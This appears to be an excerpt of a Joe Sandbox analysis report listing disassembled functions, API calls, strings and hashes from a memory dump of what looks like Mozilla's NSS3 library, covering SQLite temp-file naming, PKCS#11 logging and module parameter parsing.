String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction ID: 4811b13b43384c5fdf25f0a31b7f6ee4cf8a4a665728249cf37365efb0bc74c2
Opcode Fuzzy Hash: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction Fuzzy Hash: D651ADB1E082599FDF00DBE8CD48B9E77B8AF1530AF180528E919DBA41E770D518CB99

Function 6C6F6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5BBE66), ref: 6C6F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5BBE66), ref: 6C6F6E98
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5BBE66), ref: 6C6F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F70A0

Strings

winGetTempname1, xrefs: 6C6F708F
mz_etilqs_, xrefs: 6C6F6F18
Psl, xrefs: 6C6F70A8
winGetTempname2, xrefs: 6C6F70C4
winGetTempname5, xrefs: 6C6F7071
winGetTempname4, xrefs: 6C6F7046

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Psl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3347618251
Opcode ID: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction ID: f5108461a7ed39de5256cdbf60f723c7e184f247d7ff897033bcc60ce698cefd
Opcode Fuzzy Hash: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction Fuzzy Hash: 4F517AB2A051216BE30096319C55FFF362B9FC3358F144538E82596BC2FB26D91F82DA

Function 6C658E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C658E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C658EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658EB3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C658EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C658EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C658F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F29
PR_LogPrint.NSS3(?,00000000), ref: 6C658F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C658F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F80
PR_LogPrint.NSS3(?,00000000), ref: 6C658F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C658FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C658FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C659047

Strings

hWrappingKey = 0x%x, xrefs: 6C658F01, 6C658F11
pulWrappedKeyLen = 0x%p, xrefs: 6C658FC8
C_WrapKey, xrefs: 6C658E71
(CK_INVALID_HANDLE), xrefs: 6C658EAC, 6C658F1F, 6C658F79
nsl, xrefs: 6C658FEC, 6C659023
hKey = 0x%x, xrefs: 6C658F5B, 6C658F6B
pWrappedKey = 0x%p, xrefs: 6C658FAD
hSession = 0x%x, xrefs: 6C658E8E, 6C658E9E
pMechanism = 0x%p, xrefs: 6C658EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6C659042

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nsl
API String ID: 1003633598-3591424540
Opcode ID: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction ID: b4d5b26f40407f5922d34bab574946ecb601708f9f34fa7e2316ee93d3c2118d
Opcode Fuzzy Hash: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction Fuzzy Hash: 5C51FB31A52114AFDB009F10DE4CF9E7B76AB4B34DF644035F60867B22DB319929CB5A

Function 6C684FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000,00000000,00000001), ref: 6C685009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C685049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C685071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2), ref: 6C6850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685153
free.MOZGLUE(?), ref: 6C68516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C685195

Strings

library=, xrefs: 6C685043
parameters=, xrefs: 6C68506B
config=, xrefs: 6C68509B
name=, xrefs: 6C685057
nss=, xrefs: 6C685083

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction ID: 140e7bafc6b63eebe567afb9d2653a6b7618ece63f78fc8c17ab1880aba10e4a
Opcode Fuzzy Hash: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction Fuzzy Hash: 2251C6B5A022155BFB01DF24DC45AEF37A8AF0A349F140031EC56E7B41EB25E919C7BA

Function 6C684C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C5B
PR_smprintf.NSS3(6C75AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C684D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C684DA2
free.MOZGLUE(?), ref: 6C684DB9
free.MOZGLUE(00000000), ref: 6C684DCF

Strings

every, xrefs: 6C684CA1
rootFlags, xrefs: 6C684D47
timeout, xrefs: 6C684C91
rust, xrefs: 6C684D22
ootT, xrefs: 6C684D1A
any, xrefs: 6C684C96
slotFlags, xrefs: 6C684D34
0x%08lx=[%s %s], xrefs: 6C684D80
%s,%s, xrefs: 6C684C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C684D9D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction ID: ae133134ca70e6f88496ed3b20d6c89076a00cfdef07beb8aed4234c23bdd083
Opcode Fuzzy Hash: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction Fuzzy Hash: F441BBB1D011456BDB129F249C54ABB3ABDAF86349F494134EC0A1BB01EBB1D924C7FB

Function 6C666CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
Part of subcall function 6C666910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666D8C
free.MOZGLUE(00000000), ref: 6C666DC5
free.MOZGLUE(?), ref: 6C666DD6
free.MOZGLUE(?), ref: 6C666DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E72
free.MOZGLUE(?), ref: 6C666EA7
free.MOZGLUE(?), ref: 6C666EC4
free.MOZGLUE(?), ref: 6C666ED5
free.MOZGLUE(00000000), ref: 6C666EE3
free.MOZGLUE(?), ref: 6C666EF4
free.MOZGLUE(?), ref: 6C666F08
free.MOZGLUE(00000000), ref: 6C666F35
free.MOZGLUE(?), ref: 6C666F44
free.MOZGLUE(?), ref: 6C666F5B
free.MOZGLUE(00000000), ref: 6C666F65

Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
Part of subcall function 6C666C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96
Part of subcall function 6C666C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C666FF4

Strings

+`gl, xrefs: 6C666D0D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`gl
API String ID: 1304971872-1880681488
Opcode ID: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction ID: e5d1951c6e47db65dcc4b1229d360defcd6732c154de58ef4e611bbf5bc7f19c
Opcode Fuzzy Hash: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction Fuzzy Hash: 20B170B0E052199FDF01CBA6EC44B9EBBB9BF09349F140125E815E7E01E731E915CBA6

Function 6C611FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C612007
calloc.MOZGLUE(00000001,00000084), ref: 6C612077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6120DF
TlsSetValue.KERNEL32(00000000), ref: 6C612188
PR_NewCondVar.NSS3 ref: 6C6121B7
calloc.MOZGLUE(00000001,00000084), ref: 6C61221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6122C2
GetLastError.KERNEL32 ref: 6C6122CD
free.MOZGLUE(00000000), ref: 6C6122DD

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Strings

X xl, xrefs: 6C61218E
T xl, xrefs: 6C612361

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T xl$X xl
API String ID: 3559583721-824639755
Opcode ID: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction ID: 92ef3f7c7bec3bfdbd90c4a5b0a70ef45bcfed90dd326b210d8a0818299d3623
Opcode Fuzzy Hash: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction Fuzzy Hash: FC915B706067118FEB219F388C0979B7BF4BB0B70AF20453AE65AD6E40EB709105CBA5

Function 6C62DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62DDDE

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C62DDF5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62DE34
PR_Now.NSS3 ref: 6C62DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C62DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C62DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C62DEF0
PR_smprintf.NSS3(6C75AAF9,(NULL) (Validity Unknown)), ref: 6C62DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C62DF33
free.MOZGLUE(00000000), ref: 6C62DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF4B
free.MOZGLUE(00000000), ref: 6C62DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C62DEFA
%s%s, xrefs: 6C62DEEB
{???}, xrefs: 6C62DE8B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction ID: 9ee191d24f0f43f6060af041a91b4b8c2789970cc04debf0829b59c84f2ddc39
Opcode Fuzzy Hash: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction Fuzzy Hash: D851E3B1E001155BDB109E658C45AAF7AB4AF85358F144038EC09EBB01E735DD15CBFA

Function 6C65AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C65AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C65AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C65AF83

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C65AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C65AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C65AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C65AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C65B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C65B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C65B041

Strings

pParameter = 0x%p, xrefs: 6C65AFB9
ulParameterLen = 0x%p, xrefs: 6C65AFD4
ulDataLen = %d, xrefs: 6C65B00A
(CK_INVALID_HANDLE), xrefs: 6C65AF7C
nsl, xrefs: 6C65B059, 6C65B093
C_SignMessage, xrefs: 6C65AF41
pulSignatureLen = 0x%p, xrefs: 6C65B03C
pSignature = 0x%p, xrefs: 6C65B023
hSession = 0x%x, xrefs: 6C65AF5E, 6C65AF6E
pData = 0x%p, xrefs: 6C65AFEF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nsl
